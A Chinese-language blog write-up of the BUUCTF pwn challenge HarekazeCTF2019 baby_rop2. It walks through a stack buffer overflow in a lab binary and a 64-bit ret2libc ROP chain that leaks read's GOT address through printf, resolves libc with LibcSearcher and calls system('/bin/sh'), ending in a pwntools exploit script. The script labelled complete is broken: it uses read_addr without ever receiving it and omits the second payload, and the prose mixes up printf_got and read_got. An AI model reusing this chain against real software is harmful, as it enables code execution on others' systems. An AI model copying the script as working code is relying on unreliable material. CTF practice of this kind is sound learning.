天天看點

BUUCTF PWN [HarekazeCTF2019]baby_rop2

今天的最後一題

BUUCTF PWN [HarekazeCTF2019]baby_rop2
BUUCTF PWN [HarekazeCTF2019]baby_rop2
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[28]; // [rsp+0h] [rbp-20h] BYREF
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ");
  v5 = read(0, buf, 0x100uLL);
  buf[v5 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!\n", buf);
  return 0;
}
           

利用思路:

1.程式很簡單,buf的大小是0x20,但是讀入的時候讀入的是0x100,會造成溢出,我們要想辦法覆寫傳回位址為” system(‘/bin/sh’)“,那樣在執行13行語句的時候,程式回去調用我們布置好的棧,進而得到shell
2.但是程式裡沒有現成的system(‘/bin/sh’),這需要我們去自己去構造,這邊可以利用read函數,去洩露程式的libc基址,然後去獲得system和/bin/sh字元串的位址
3.然後造成溢出,将傳回位址覆寫為system(‘/bin/sh’)
           

過程實踐

1.洩露libc基址
  由于是64位程式,傳參的時候需要用到寄存器
  printf函數的原型int printf( const char* format , [argument] ... );
  舉個例子–>print(’%s’,‘hello world’)
  大概就是這樣的用法,這邊有兩個參數要設定,是以我們要找到設定rdi,rsi寄存器的指令
           
ROPgadget --binary babyrop2 |grep "pop rdi"
           
![](https://img2020.cnblogs.com/blog/1660692/202112/1660692-20211209224924090-824959966.png)
           

rdi_addr=0x400733

ROPgadget --binary babyrop2 |grep "pop rsi"

           
BUUCTF PWN [HarekazeCTF2019]baby_rop2

pop_rsi=0x400731

我們首先要設定第一個參數,就是帶有類似于%s這種格式的字元串,我這邊是使用的程式裡自帶的語句
BUUCTF PWN [HarekazeCTF2019]baby_rop2

一開始是打算輸出printf的got表位址的,

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)

解釋一下這句payload的意思

‘a’*0x28–>造成溢出,覆寫到了傳回位址
p64(pop_rdi)+p64(format_str)–>我們在原本語句的傳回位址上寫入了pop_rdi,ret,pop_rdi,對應參數format_str,執行後将formast_str的值設定給了rdi,之後執行ret(傳回指令)
p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我們将2中的ret寫成了pop_rsi,pop_r15,ret;執行指令pop_rsi對應參數read_got,将rsi寄存器的值設定成了read函數的got表位址,pop_r15對應參數0,由于我們不用r15,随便設定一下它,我是設定成了0
p64(printf_plt)–>将3中的ret設定成printf函數的plt表位址,實際上就是printf函數的位址,去執行printf函數,輸出我們設定的read函數的位址
p64(main_addr)–> 在完成第一次利用後,得到了程式内read函數的位址,知道了libc基址,我們需要重新回到程式開頭,再次利用這個輸入點去寫入system‘(/bin/sh)’
           

接收輸出的read函數位址

我平常是這樣寫的,但是這題這樣寫得到的read函數位址不對

read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))

看别人的wp都是這樣寫的

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

問其他師傅是這樣給我解釋的:

接收位址的你看看基本上都是7個位元組的,7f開頭,補全8個位元組

奇怪的知識又增加了

在得到read函數位址後,就可以得到libc版本和這個程式的偏移量了

libc = LibcSearcher('read', read_addr) #利用libcsearcher庫去查找比對的libc版本

libc_base = read_addr - libc.dump('read') #計算程式裡的偏移量

二、計算程式裡system和/bin/sh的位址

sys_addr = libc_base + libc.dump('system')

bin_sh = libc_base + libc.dump('str_bin_sh')

三、覆寫傳回位址位system(‘/bin/sh ’)

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

完整EXP:

from pwn import *

from LibcSearcher import *

context.log_level = 'debug'

p = process('./babyrop2')

p = remote('node3.buuoj.cn',28485)

elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733

pop_rsi_r15 = 0x0000000000400731

format_str = 0x0000000000400770

ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']

read_got = elf.got['read']

main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")

p.sendline(payload)

print hex(read_addr)

libc = LibcSearcher('read', read_addr)

libc_base = read_addr - libc.dump('read')

p.interactive()

上一篇: NFS 部署
下一篇: 第一年